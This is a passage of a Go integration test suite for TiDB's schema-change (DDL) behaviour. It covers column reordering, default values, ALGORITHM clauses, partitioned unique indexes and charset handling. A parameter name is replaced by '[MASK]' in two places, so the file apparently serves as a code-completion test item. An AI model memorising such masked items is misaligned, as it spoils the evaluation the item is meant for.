testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test"") s.tk.MustExec(""create table position (a int default 1, b int default 2)"") s.tk.MustExec(""insert into position value ()"") s.tk.MustExec(""insert into position values (3,4)"") s.tk.MustQuery(""select * from position"").Check(testkit.Rows(""1 2"", ""3 4"")) s.tk.MustExec(""alter table position modify column b int first"") s.tk.MustQuery(""select * from position"").Check(testkit.Rows(""2 1"", ""4 3"")) s.tk.MustExec(""insert into position value ()"") s.tk.MustQuery(""select * from position"").Check(testkit.Rows(""2 1"", ""4 3"", "" 1"")) s.tk.MustExec(""create table position1 (a int, b int, c double, d varchar(5))"") s.tk.MustExec(`insert into position1 value (1, 2, 3.14, 'TiDB')`) s.tk.MustExec(""alter table position1 modify column d varchar(5) after a"") s.tk.MustQuery(""select * from position1"").Check(testkit.Rows(""1 TiDB 2 3.14"")) s.tk.MustExec(""alter table position1 modify column a int after c"") s.tk.MustQuery(""select * from position1"").Check(testkit.Rows(""TiDB 2 3.14 1"")) s.tk.MustExec(""alter table position1 modify column c double first"") s.tk.MustQuery(""select * from position1"").Check(testkit.Rows(""3.14 TiDB 2 1"")) s.tk.MustGetErrCode(""alter table position1 modify column b int after b"", tmysql.ErrBadField) s.tk.MustExec(""create table position2 (a int, b int)"") s.tk.MustExec(""alter table position2 add index t(a, b)"") s.tk.MustExec(""alter table position2 modify column b int first"") s.tk.MustExec(""insert into position2 value (3, 5)"") s.tk.MustQuery(""select a from position2 where a = 3"").Check(testkit.Rows()) s.tk.MustExec(""alter table position2 change column b c int first"") s.tk.MustQuery(""select * from position2 where c = 3"").Check(testkit.Rows(""3 5"")) s.tk.MustGetErrCode(""alter table position2 change column c b int after c"", tmysql.ErrBadField) s.tk.MustExec(""create table position3 (a int default 2)"") s.tk.MustExec(""alter table position3 modify column a int default 5 first"") s.tk.MustExec(""insert into position3 value ()"") s.tk.MustQuery(""select * from position3"").Check(testkit.Rows(""5"")) s.tk.MustExec(""create table position4 (a int, b int)"") s.tk.MustExec(""alter table position4 add index t(b)"") s.tk.MustExec(""alter table position4 change column b c int first"") createSQL := s.tk.MustQuery(""show create table position4"").Rows()[0][1] exceptedSQL := []string{ ""CREATE TABLE `position4` ("", "" `c` int(11) DEFAULT NULL,"", "" `a` int(11) DEFAULT NULL,"", "" KEY `t` (`c`)"", "") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin"", } c.Assert(createSQL, Equals, strings.Join(exceptedSQL, ""\n"")) } func (s *testIntegrationSuite2) TestAddIndexAfterAddColumn(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test"") s.tk.MustExec(""create table test_add_index_after_add_col(a int, b int not null default '0')"") s.tk.MustExec(""insert into test_add_index_after_add_col values(1, 2),(2,2)"") s.tk.MustExec(""alter table test_add_index_after_add_col add column c int not null default '0'"") sql := ""alter table test_add_index_after_add_col add unique index cc(c) "" s.tk.MustGetErrCode(sql, tmysql.ErrDupEntry) sql = ""alter table test_add_index_after_add_col add index idx_test(f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12,f13,f14,f15,f16,f17);"" s.tk.MustGetErrCode(sql, tmysql.ErrTooManyKeyParts) } func (s *testIntegrationSuite8) TestResolveCharset(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test"") s.tk.MustExec(""drop table if exists resolve_charset"") s.tk.MustExec(`CREATE TABLE resolve_charset (a varchar(255) DEFAULT NULL) DEFAULT CHARSET=latin1`) ctx := s.tk.Se.(sessionctx.Context) is := domain.GetDomain(ctx).InfoSchema() tbl, err := is.TableByName(model.NewCIStr(""test""), model.NewCIStr(""resolve_charset"")) c.Assert(err, IsNil) c.Assert(tbl.Cols()[0].Charset, Equals, ""latin1"") s.tk.MustExec(""INSERT INTO resolve_charset VALUES('鰈')"") s.tk.MustExec(""create database resolve_charset charset binary"") s.tk.MustExec(""use resolve_charset"") s.tk.MustExec(`CREATE TABLE resolve_charset (a varchar(255) DEFAULT NULL) DEFAULT CHARSET=latin1`) is = domain.GetDomain(ctx).InfoSchema() tbl, err = is.TableByName(model.NewCIStr(""resolve_charset""), model.NewCIStr(""resolve_charset"")) c.Assert(err, IsNil) c.Assert(tbl.Cols()[0].Charset, Equals, ""latin1"") c.Assert(tbl.Meta().Charset, Equals, ""latin1"") s.tk.MustExec(`CREATE TABLE resolve_charset1 (a varchar(255) DEFAULT NULL)`) is = domain.GetDomain(ctx).InfoSchema() tbl, err = is.TableByName(model.NewCIStr(""resolve_charset""), model.NewCIStr(""resolve_charset1"")) c.Assert(err, IsNil) c.Assert(tbl.Cols()[0].Charset, Equals, ""binary"") c.Assert(tbl.Meta().Charset, Equals, ""binary"") } func (s *testIntegrationSuite1) TestAddColumnTooMany(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test"") count := int(atomic.LoadUint32(&ddl.TableColumnCountLimit) - 1) var cols []string for i := 0; i < count; i++ { cols = append(cols, fmt.Sprintf(""a%d int"", i)) } createSQL := fmt.Sprintf(""create table t_column_too_many (%s)"", strings.Join(cols, "","")) s.tk.MustExec(createSQL) s.tk.MustExec(""alter table t_column_too_many add column a_512 int"") alterSQL := ""alter table t_column_too_many add column a_513 int"" s.tk.MustGetErrCode(alterSQL, tmysql.ErrTooManyFields) } func (s *testIntegrationSuite4) TestAlterColumn(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test_db"") s.tk.MustExec(""create table test_alter_column (a int default 111, b varchar(8), c varchar(8) not null, d timestamp on update current_timestamp)"") s.tk.MustExec(""insert into test_alter_column set b = 'a', c = 'aa'"") s.tk.MustQuery(""select a from test_alter_column"").Check(testkit.Rows(""111"")) ctx := s.tk.Se.(sessionctx.Context) is := domain.GetDomain(ctx).InfoSchema() tbl, err := is.TableByName(model.NewCIStr(""test_db""), model.NewCIStr(""test_alter_column"")) c.Assert(err, IsNil) tblInfo := tbl.Meta() colA := tblInfo.Columns[0] hasNoDefault := tmysql.HasNoDefaultValueFlag(colA.Flag) c.Assert(hasNoDefault, IsFalse) s.tk.MustExec(""alter table test_alter_column alter column a set default 222"") s.tk.MustExec(""insert into test_alter_column set b = 'b', c = 'bb'"") s.tk.MustQuery(""select a from test_alter_column"").Check(testkit.Rows(""111"", ""222"")) is = domain.GetDomain(ctx).InfoSchema() tbl, err = is.TableByName(model.NewCIStr(""test_db""), model.NewCIStr(""test_alter_column"")) c.Assert(err, IsNil) tblInfo = tbl.Meta() colA = tblInfo.Columns[0] hasNoDefault = tmysql.HasNoDefaultValueFlag(colA.Flag) c.Assert(hasNoDefault, IsFalse) s.tk.MustExec(""alter table test_alter_column alter column b set default null"") s.tk.MustExec(""insert into test_alter_column set c = 'cc'"") s.tk.MustQuery(""select b from test_alter_column"").Check(testkit.Rows(""a"", ""b"", """")) is = domain.GetDomain(ctx).InfoSchema() tbl, err = is.TableByName(model.NewCIStr(""test_db""), model.NewCIStr(""test_alter_column"")) c.Assert(err, IsNil) tblInfo = tbl.Meta() colC := tblInfo.Columns[2] hasNoDefault = tmysql.HasNoDefaultValueFlag(colC.Flag) c.Assert(hasNoDefault, IsTrue) s.tk.MustExec(""alter table test_alter_column alter column c set default 'xx'"") s.tk.MustExec(""insert into test_alter_column set a = 123"") s.tk.MustQuery(""select c from test_alter_column"").Check(testkit.Rows(""aa"", ""bb"", ""cc"", ""xx"")) is = domain.GetDomain(ctx).InfoSchema() tbl, err = is.TableByName(model.NewCIStr(""test_db""), model.NewCIStr(""test_alter_column"")) c.Assert(err, IsNil) tblInfo = tbl.Meta() colC = tblInfo.Columns[2] hasNoDefault = tmysql.HasNoDefaultValueFlag(colC.Flag) c.Assert(hasNoDefault, IsFalse) // TODO: After fix issue 2606. // s.tk.MustExec( ""alter table test_alter_column alter column d set default null"") s.tk.MustExec(""alter table test_alter_column alter column a drop default"") s.tk.MustExec(""insert into test_alter_column set b = 'd', c = 'dd'"") s.tk.MustQuery(""select a from test_alter_column"").Check(testkit.Rows(""111"", ""222"", ""222"", ""123"", """")) // for failing tests sql := ""alter table db_not_exist.test_alter_column alter column b set default 'c'"" s.tk.MustGetErrCode(sql, tmysql.ErrNoSuchTable) sql = ""alter table test_not_exist alter column b set default 'c'"" s.tk.MustGetErrCode(sql, tmysql.ErrNoSuchTable) sql = ""alter table test_alter_column alter column col_not_exist set default 'c'"" s.tk.MustGetErrCode(sql, tmysql.ErrBadField) sql = ""alter table test_alter_column alter column c set default null"" s.tk.MustGetErrCode(sql, tmysql.ErrInvalidDefault) // The followings tests whether adding constraints via change / modify column // is forbidden as expected. s.tk.MustExec(""drop table if exists mc"") s.tk.MustExec(""create table mc(a int key, b int, c int)"") _, err = s.tk.Exec(""alter table mc modify column a int key"") // Adds a new primary key c.Assert(err, NotNil) _, err = s.tk.Exec(""alter table mc modify column c int unique"") // Adds a new unique key c.Assert(err, NotNil) result := s.tk.MustQuery(""show create table mc"") createSQL := result.Rows()[0][1] expected := ""CREATE TABLE `mc` (\n `a` int(11) NOT NULL,\n `b` int(11) DEFAULT NULL,\n `c` int(11) DEFAULT NULL,\n PRIMARY KEY (`a`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin"" c.Assert(createSQL, Equals, expected) // Change / modify column should preserve index options. s.tk.MustExec(""drop table if exists mc"") s.tk.MustExec(""create table mc(a int key, b int, c int unique)"") s.tk.MustExec(""alter table mc modify column a bigint"") // NOT NULL & PRIMARY KEY should be preserved s.tk.MustExec(""alter table mc modify column b bigint"") s.tk.MustExec(""alter table mc modify column c bigint"") // Unique should be preserved result = s.tk.MustQuery(""show create table mc"") createSQL = result.Rows()[0][1] expected = ""CREATE TABLE `mc` (\n `a` bigint(20) NOT NULL,\n `b` bigint(20) DEFAULT NULL,\n `c` bigint(20) DEFAULT NULL,\n PRIMARY KEY (`a`),\n UNIQUE KEY `c` (`c`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin"" c.Assert(createSQL, Equals, expected) // Dropping or keeping auto_increment is allowed, however adding is not allowed. s.tk.MustExec(""drop table if exists mc"") s.tk.MustExec(""create table mc(a int key auto_increment, b int)"") s.tk.MustExec(""alter table mc modify column a bigint auto_increment"") // Keeps auto_increment result = s.tk.MustQuery(""show create table mc"") createSQL = result.Rows()[0][1] expected = ""CREATE TABLE `mc` (\n `a` bigint(20) NOT NULL AUTO_INCREMENT,\n `b` int(11) DEFAULT NULL,\n PRIMARY KEY (`a`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin"" c.Assert(createSQL, Equals, expected) _, err = s.tk.Exec(""alter table mc modify column a bigint"") // Droppping auto_increment is not allow when @@tidb_allow_remove_auto_inc == 'off' c.Assert(err, NotNil) s.tk.MustExec(""set @@tidb_allow_remove_auto_inc = on"") s.tk.MustExec(""alter table mc modify column a bigint"") // Dropping auto_increment is ok when @@tidb_allow_remove_auto_inc == 'on' result = s.tk.MustQuery(""show create table mc"") createSQL = result.Rows()[0][1] expected = ""CREATE TABLE `mc` (\n `a` bigint(20) NOT NULL,\n `b` int(11) DEFAULT NULL,\n PRIMARY KEY (`a`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin"" c.Assert(createSQL, Equals, expected) _, err = s.tk.Exec(""alter table mc modify column a bigint auto_increment"") // Adds auto_increment should throw error c.Assert(err, NotNil) s.tk.MustExec(""drop table if exists t"") s.tk.MustExec(""create table t1 (a varchar(10),b varchar(100),c tinyint,d varchar(3071),index(a),index(a,b),index (c,d)) charset = ascii;"") s.tk.MustGetErrCode(""alter table t1 modify column a varchar(3000);"", mysql.ErrTooLongKey) // check modify column with rename column. s.tk.MustGetErrCode(""alter table t1 change column a x varchar(3000);"", mysql.ErrTooLongKey) s.tk.MustGetErrCode(""alter table t1 modify column c bigint;"", mysql.ErrTooLongKey) s.tk.MustExec(""drop table if exists multi_unique"") s.tk.MustExec(""create table multi_unique (a int unique unique)"") s.tk.MustExec(""drop table multi_unique"") s.tk.MustExec(""create table multi_unique (a int key primary key unique unique)"") s.tk.MustExec(""drop table multi_unique"") s.tk.MustExec(""create table multi_unique (a int key unique unique key unique)"") s.tk.MustExec(""drop table multi_unique"") } func (s *testIntegrationSuite) assertWarningExec(c *C, sql string, [MASK] *terror.Error) { _, err := s.tk.Exec(sql) c.Assert(err, IsNil) st := s.tk.Se.GetSessionVars().StmtCtx c.Assert(st.WarningCount(), Equals, uint16(1)) c.Assert( [MASK] .Equal(st.GetWarnings()[0].Err), IsTrue, Commentf(""error:%v"", err)) } func (s *testIntegrationSuite) assertAlterWarnExec(c *C, sql string) { s.assertWarningExec(c, sql, ddl.ErrAlterOperationNotSupported) } func (s *testIntegrationSuite) assertAlterErrorExec(c *C, sql string) { s.tk.MustGetErrCode(sql, mysql.ErrAlterOperationNotSupportedReason) } func (s *testIntegrationSuite3) TestAlterAlgorithm(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test"") s.tk.MustExec(""drop table if exists t, t1"") defer s.tk.MustExec(""drop table if exists t"") s.tk.MustExec(`create table t( a int, b varchar(100), c int, INDEX idx_c(c)) PARTITION BY RANGE ( a ) ( PARTITION p0 VALUES LESS THAN (6), PARTITION p1 VALUES LESS THAN (11), PARTITION p2 VALUES LESS THAN (16), PARTITION p3 VALUES LESS THAN (21) )`) s.assertAlterErrorExec(c, ""alter table t modify column a bigint, ALGORITHM=INPLACE;"") s.tk.MustExec(""alter table t modify column a bigint, ALGORITHM=INPLACE, ALGORITHM=INSTANT;"") s.tk.MustExec(""alter table t modify column a bigint, ALGORITHM=DEFAULT;"") // Test add/drop index s.assertAlterErrorExec(c, ""alter table t add index idx_b(b), ALGORITHM=INSTANT"") s.assertAlterWarnExec(c, ""alter table t add index idx_b1(b), ALGORITHM=COPY"") s.tk.MustExec(""alter table t add index idx_b2(b), ALGORITHM=INPLACE"") s.assertAlterErrorExec(c, ""alter table t drop index idx_b, ALGORITHM=INPLACE"") s.assertAlterWarnExec(c, ""alter table t drop index idx_b1, ALGORITHM=COPY"") s.tk.MustExec(""alter table t drop index idx_b2, ALGORITHM=INSTANT"") // Test rename s.assertAlterWarnExec(c, ""alter table t rename to t1, ALGORITHM=COPY"") s.assertAlterErrorExec(c, ""alter table t1 rename to t, ALGORITHM=INPLACE"") s.tk.MustExec(""alter table t1 rename to t, ALGORITHM=INSTANT"") s.tk.MustExec(""alter table t rename to t1, ALGORITHM=DEFAULT"") s.tk.MustExec(""alter table t1 rename to t"") // Test rename index s.assertAlterWarnExec(c, ""alter table t rename index idx_c to idx_c1, ALGORITHM=COPY"") s.assertAlterErrorExec(c, ""alter table t rename index idx_c1 to idx_c, ALGORITHM=INPLACE"") s.tk.MustExec(""alter table t rename index idx_c1 to idx_c, ALGORITHM=INSTANT"") s.tk.MustExec(""alter table t rename index idx_c to idx_c1, ALGORITHM=DEFAULT"") // partition. s.assertAlterWarnExec(c, ""alter table t ALGORITHM=COPY, truncate partition p1"") s.assertAlterErrorExec(c, ""alter table t ALGORITHM=INPLACE, truncate partition p2"") s.tk.MustExec(""alter table t ALGORITHM=INSTANT, truncate partition p3"") s.assertAlterWarnExec(c, ""alter table t add partition (partition p4 values less than (2002)), ALGORITHM=COPY"") s.assertAlterErrorExec(c, ""alter table t add partition (partition p5 values less than (3002)), ALGORITHM=INPLACE"") s.tk.MustExec(""alter table t add partition (partition p6 values less than (4002)), ALGORITHM=INSTANT"") s.assertAlterWarnExec(c, ""alter table t ALGORITHM=COPY, drop partition p4"") s.assertAlterErrorExec(c, ""alter table t ALGORITHM=INPLACE, drop partition p5"") s.tk.MustExec(""alter table t ALGORITHM=INSTANT, drop partition p6"") // Table options s.assertAlterWarnExec(c, ""alter table t comment = 'test', ALGORITHM=COPY"") s.assertAlterErrorExec(c, ""alter table t comment = 'test', ALGORITHM=INPLACE"") s.tk.MustExec(""alter table t comment = 'test', ALGORITHM=INSTANT"") s.assertAlterWarnExec(c, ""alter table t default charset = utf8mb4, ALGORITHM=COPY"") s.assertAlterErrorExec(c, ""alter table t default charset = utf8mb4, ALGORITHM=INPLACE"") s.tk.MustExec(""alter table t default charset = utf8mb4, ALGORITHM=INSTANT"") } func (s *testIntegrationSuite3) TestAlterTableAddUniqueOnPartionRangeColumn(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test"") s.tk.MustExec(""drop table if exists t"") defer s.tk.MustExec(""drop table if exists t"") s.tk.MustExec(`create table t( a int, b varchar(100), c int, INDEX idx_c(c)) PARTITION BY RANGE COLUMNS( a ) ( PARTITION p0 VALUES LESS THAN (6), PARTITION p1 VALUES LESS THAN (11), PARTITION p2 VALUES LESS THAN (16), PARTITION p3 VALUES LESS THAN (21) )`) s.tk.MustExec(""insert into t values (4, 'xxx', 4)"") s.tk.MustExec(""insert into t values (4, 'xxx', 9)"") // Note the repeated 4 s.tk.MustExec(""insert into t values (17, 'xxx', 12)"") s.tk.MustGetErrCode(""alter table t add unique index idx_a(a)"", mysql.ErrDupEntry) s.tk.MustExec(""delete from t where a = 4"") s.tk.MustExec(""alter table t add unique index idx_a(a)"") s.tk.MustExec(""alter table t add unique index idx_ac(a, c)"") s.tk.MustGetErrCode(""alter table t add unique index idx_b(b)"", mysql.ErrUniqueKeyNeedAllFieldsInPf) } func (s *testIntegrationSuite5) TestFulltextIndexIgnore(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test"") s.tk.MustExec(""drop table if exists t_ft"") defer s.tk.MustExec(""drop table if exists t_ft"") // Make sure that creating and altering to add a fulltext key gives the correct warning s.assertWarningExec(c, ""create table t_ft (a text, fulltext key (a))"", ddl.ErrTableCantHandleFt) s.assertWarningExec(c, ""alter table t_ft add fulltext key (a)"", ddl.ErrTableCantHandleFt) // Make sure table t_ft still has no indexes even after it was created and altered r := s.tk.MustQuery(""show index from t_ft"") c.Assert(r.Rows(), HasLen, 0) r = s.tk.MustQuery(""select * from information_schema.statistics where table_schema='test' and table_name='t_ft'"") c.Assert(r.Rows(), HasLen, 0) } func (s *testIntegrationSuite1) TestTreatOldVersionUTF8AsUTF8MB4(c *C) { if israce.RaceEnabled { c.Skip(""skip race test"") } s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test"") s.tk.MustExec(""drop table if exists t"") defer s.tk.MustExec(""drop table if exists t"") s.tk.MustExec(""create table t (a varchar(10) character set utf8, b varchar(10) character set ascii) charset=utf8mb4;"") s.tk.MustGetErrCode(""insert into t set a= x'f09f8c80';"", mysql.ErrTruncatedWrongValueForField) s.tk.MustQuery(""show create table t"").Check(testkit.Rows(""t CREATE TABLE `t` (\n"" + "" `a` varchar(10) CHARACTER SET utf8 COLLATE utf8_bin DEFAULT NULL,\n"" + "" `b` varchar(10) CHARACTER SET ascii COLLATE ascii_bin DEFAULT NULL\n"" + "") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin"")) // Mock old version table info with column charset is utf8. db, ok := domain.GetDomain(s.ctx).InfoSchema().SchemaByName(model.NewCIStr(""test"")) tbl := testGetTableByName(c, s.ctx, ""test"", ""t"") tblInfo := tbl.Meta().Clone() tblInfo.Version = model.TableInfoVersion0 tblInfo.Columns[0].Version = model.ColumnInfoVersion0 updateTableInfo := func(tblInfo *model.TableInfo) { mockCtx := mock.NewContext() mockCtx.Store = s.store err := mockCtx.NewTxn(context.Background()) c.Assert(err, IsNil) txn, err := mockCtx.Txn(true) c.Assert(err, IsNil) mt := meta.NewMeta(txn) c.Assert(ok, IsTrue) err = mt.UpdateTable(db.ID, tblInfo) c.Assert(err, IsNil) err = txn.Commit(context.Background()) c.Assert(err, IsNil) } updateTableInfo(tblInfo) s.tk.MustExec(""alter table t add column c varchar(10) character set utf8;"") // load latest schema. c.Assert(config.GetGlobalConfig().TreatOldVersionUTF8AsUTF8MB4, IsTrue) s.tk.MustExec(""insert into t set a= x'f09f8c80'"") s.tk.MustQuery(""show create table t"").Check(testkit.Rows(""t CREATE TABLE `t` (\n"" + "" `a` varchar(10) DEFAULT NULL,\n"" + "" `b` varchar(10) CHARACTER SET ascii COLLATE ascii_bin DEFAULT NULL,\n"" + "" `c` varchar(10) CHARACTER SET utf8 COLLATE utf8_bin DEFAULT NULL\n"" + "") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin"")) config.GetGlobalConfig().TreatOldVersionUTF8AsUTF8MB4 = false s.tk.MustExec(""alter table t drop column c;"") // reload schema. s.tk.MustGetErrCode(""insert into t set a= x'f09f8c80'"", mysql.ErrTruncatedWrongValueForField) s.tk.MustQuery(""show create table t"").Check(testkit.Rows(""t CREATE TABLE `t` (\n"" + "" `a` varchar(10) CHARACTER SET utf8 COLLATE utf8_bin DEFAULT NULL,\n"" + "" `b` varchar(10) CHARACTER SET ascii COLLATE ascii_bin DEFAULT NULL\n"" + "") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin"")) // Mock old version table info with table and column charset is utf8. tbl = testGetTableByName(c, s.ctx, ""test"", ""t"") tblInfo = tbl.Meta().Clone() tblInfo.Charset = charset.CharsetUTF8 tblInfo.Collate = charset.CollationUTF8 tblInfo.Version = model.TableInfoVersion0 tblInfo.Columns[0].Version = model.ColumnInfoVersion0 updateTableInfo(tblInfo) config.GetGlobalConfig().TreatOldVersionUTF8AsUTF8MB4 = true s.tk.MustExec(""alter table t add column c varchar(10);"") // load latest schema. s.tk.MustExec(""insert into t set a= x'f09f8c80'"") s.tk.MustQuery(""show create table t"").Check(testkit.Rows(""t CREATE TABLE `t` (\n"" + "" `a` varchar(10) DEFAULT NULL,\n"" + "" `b` varchar(10) CHARACTER SET ascii COLLATE ascii_bin DEFAULT NULL,\n"" + "" `c` varchar(10) DEFAULT NULL\n"" + "") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin"")) config.GetGlobalConfig().TreatOldVersionUTF8AsUTF8MB4 = false s.tk.MustExec(""alter table t drop column c;"") // reload schema. s.tk.MustGetErrCode(""insert into t set a= x'f09f8c80'"", mysql.ErrTruncatedWrongValueForField) s.tk.MustQuery(""show create table t"").Check(testkit.Rows(""t CREATE TABLE `t` (\n"" + "" `a` varchar(10) DEFAULT NULL,\n"" + "" `b` varchar(10) CHARACTER SET ascii COLLATE ascii_bin DEFAULT NULL\n"" + "") ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin"")) // Test modify column charset. config.GetGlobalConfig().TreatOldVersionUTF8AsUTF8MB4 = true s.tk.MustExec(""alter table t modify column a varchar(10) character set utf8mb4"") // change column charset. tbl = testGetTableByName(c, s.ctx, ""test"", ""t"") c.Assert(tbl.Meta().Columns[0].Charset, Equals, charset.CharsetUTF8MB4) c.Assert(tbl.Meta().Columns[0].Collate, Equals, charset.CollationUTF8MB4) c.Assert(tbl.Meta().Columns[0].Version, Equals, model.ColumnInfoVersion0) s.tk.MustExec(""insert into t set a= x'f09f8c80'"") s.tk.MustQuery(""show create table t"").Check(testkit.Rows(""t CREATE TABLE `t` (\n"" + "" `a` varchar(10) DEFAULT NULL,\n"" + "" `b` varchar(10) CHARACTER SET ascii COLLATE ascii_bin DEFAULT NULL\n"" + "") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin"")) // Test for change column should not modify the column version. s.tk.MustExec(""alter table t change column a a varchar(20)"") // change column. tbl = testGetTableByName(c, s.ctx, ""test"", ""t"") c.Assert(tbl.Meta().Columns[0].Charset, Equals, charset.CharsetUTF8MB4) c.Assert(tbl.Meta().Columns[0].Collate, Equals, charset.CollationUTF8MB4) c.Assert(tbl.Meta().Columns[0].Version, Equals, model.ColumnInfoVersion0) // Test for v2.1.5 and v2.1.6 that table version is 1 but column version is 0. tbl = testGetTableByName(c, s.ctx, ""test"", ""t"") tblInfo = tbl.Meta().Clone() tblInfo.Charset = charset.CharsetUTF8 tblInfo.Collate = charset.CollationUTF8 tblInfo.Version = model.TableInfoVersion1 tblInfo.Columns[0].Version = model.ColumnInfoVersion0 tblInfo.Columns[0].Charset = charset.CharsetUTF8 tblInfo.Columns[0].Collate = charset.CollationUTF8 updateTableInfo(tblInfo) c.Assert(config.GetGlobalConfig().TreatOldVersionUTF8AsUTF8MB4, IsTrue) s.tk.MustExec(""alter table t change column b b varchar(20) character set ascii"") // reload schema. s.tk.MustExec(""insert into t set a= x'f09f8c80'"") s.tk.MustQuery(""show create table t"").Check(testkit.Rows(""t CREATE TABLE `t` (\n"" + "" `a` varchar(20) DEFAULT NULL,\n"" + "" `b` varchar(20) CHARACTER SET ascii COLLATE ascii_bin DEFAULT NULL\n"" + "") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin"")) config.GetGlobalConfig().TreatOldVersionUTF8AsUTF8MB4 = false s.tk.MustExec(""alter table t change column b b varchar(30) character set ascii"") // reload schema. s.tk.MustGetErrCode(""insert into t set a= x'f09f8c80'"", mysql.ErrTruncatedWrongValueForField) s.tk.MustQuery(""show create table t"").Check(testkit.Rows(""t CREATE TABLE `t` (\n"" + "" `a` varchar(20) DEFAULT NULL,\n"" + "" `b` varchar(30) CHARACTER SET ascii COLLATE ascii_bin DEFAULT NULL\n"" + "") ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin"")) // Test for alter table convert charset config.GetGlobalConfig().TreatOldVersionUTF8AsUTF8MB4 = true s.tk.MustExec(""alter table t drop column b"") // reload schema. s.tk.MustExec(""alter table t convert to charset utf8mb4;"") config.GetGlobalConfig().TreatOldVersionUTF8AsUTF8MB4 = false s.tk.MustExec(""alter table t add column b varchar(50);"") // reload schema. s.tk.MustQuery(""show create table t"").Check(testkit.Rows(""t CREATE TABLE `t` (\n"" + "" `a` varchar(20) DEFAULT NULL,\n"" + "" `b` varchar(50) DEFAULT NULL\n"" + "") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin"")) } func (s *testIntegrationSuite3) TestDefaultValueIsString(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test"") s.tk.MustExec(""drop table if exists t"") defer s.tk.MustExec(""drop table if exists t"") s.tk.MustExec(""create table t (a int default b'1');"") tbl := testGetTableByName(c, s.ctx, ""test"", ""t"") c.Assert(tbl.Meta().Columns[0].DefaultValue, Equals, ""1"") } func (s *testIntegrationSuite11) TestChangingDBCharset(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""DROP DATABASE IF EXISTS alterdb1"") tk.MustExec(""CREATE DATABASE alterdb1 CHARSET=utf8 COLLATE=utf8_unicode_ci"") // No default DB errors. noDBFailedCases := []struct { stmt string errMsg string }{ { ""ALTER DATABASE CHARACTER SET = 'utf8'"", ""[planner:1046]No database selected"", }, { ""ALTER SCHEMA `` CHARACTER SET = 'utf8'"", ""[ddl:1102]Incorrect database name ''"", }, } for _, fc := range noDBFailedCases { c.Assert(tk.ExecToErr(fc.stmt).Error(), Equals, fc.errMsg, Commentf(""%v"", fc.stmt)) } verifyDBCharsetAndCollate := func(dbName, chs string, coll string) { // check `SHOW CREATE SCHEMA`. r := tk.MustQuery(""SHOW CREATE SCHEMA "" + dbName).Rows()[0][1].(string) c.Assert(strings.Contains(r, ""CHARACTER SET ""+chs), IsTrue) template := `SELECT DEFAULT_CHARACTER_SET_NAME, DEFAULT_COLLATION_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME = '%s'` sql := fmt.Sprintf(template, dbName) tk.MustQuery(sql).Check(testkit.Rows(fmt.Sprintf(""%s %s"", chs, coll))) dom := domain.GetDomain(s.ctx) // Make sure the table schema is the new schema. err := dom.Reload() c.Assert(err, IsNil) dbInfo, ok := dom.InfoSchema().SchemaByName(model.NewCIStr(dbName)) c.Assert(ok, Equals, true) c.Assert(dbInfo.Charset, Equals, chs) c.Assert(dbInfo.Collate, Equals, coll) } tk.MustExec(""ALTER SCHEMA alterdb1 COLLATE = utf8mb4_general_ci"") verifyDBCharsetAndCollate(""alterdb1"", ""utf8mb4"", ""utf8mb4_general_ci"") tk.MustExec(""DROP DATABASE IF EXISTS alterdb2"") tk.MustExec(""CREATE DATABASE alterdb2 CHARSET=utf8 COLLATE=utf8_unicode_ci"") tk.MustExec(""USE alterdb2"") failedCases := []struct { stmt string errMsg string }{ { ""ALTER SCHEMA `` CHARACTER SET = 'utf8'"", ""[ddl:1102]Incorrect database name ''"", }, { ""ALTER DATABASE CHARACTER SET = ''"", ""[parser:1115]Unknown character set: ''"", }, { ""ALTER DATABASE CHARACTER SET = 'INVALID_CHARSET'"", ""[parser:1115]Unknown character set: 'INVALID_CHARSET'"", }, { ""ALTER SCHEMA COLLATE = ''"", ""[ddl:1273]Unknown collation: ''"", }, { ""ALTER DATABASE COLLATE = 'INVALID_COLLATION'"", ""[ddl:1273]Unknown collation: 'INVALID_COLLATION'"", }, { ""ALTER DATABASE CHARACTER SET = 'utf8' DEFAULT CHARSET = 'utf8mb4'"", ""[ddl:1302]Conflicting declarations: 'CHARACTER SET utf8' and 'CHARACTER SET utf8mb4'"", }, { ""ALTER SCHEMA CHARACTER SET = 'utf8' COLLATE = 'utf8mb4_bin'"", ""[ddl:1302]Conflicting declarations: 'CHARACTER SET utf8' and 'CHARACTER SET utf8mb4'"", }, { ""ALTER DATABASE COLLATE = 'utf8mb4_bin' COLLATE = 'utf8_bin'"", ""[ddl:1302]Conflicting declarations: 'CHARACTER SET utf8mb4' and 'CHARACTER SET utf8'"", }, } for _, fc := range failedCases { 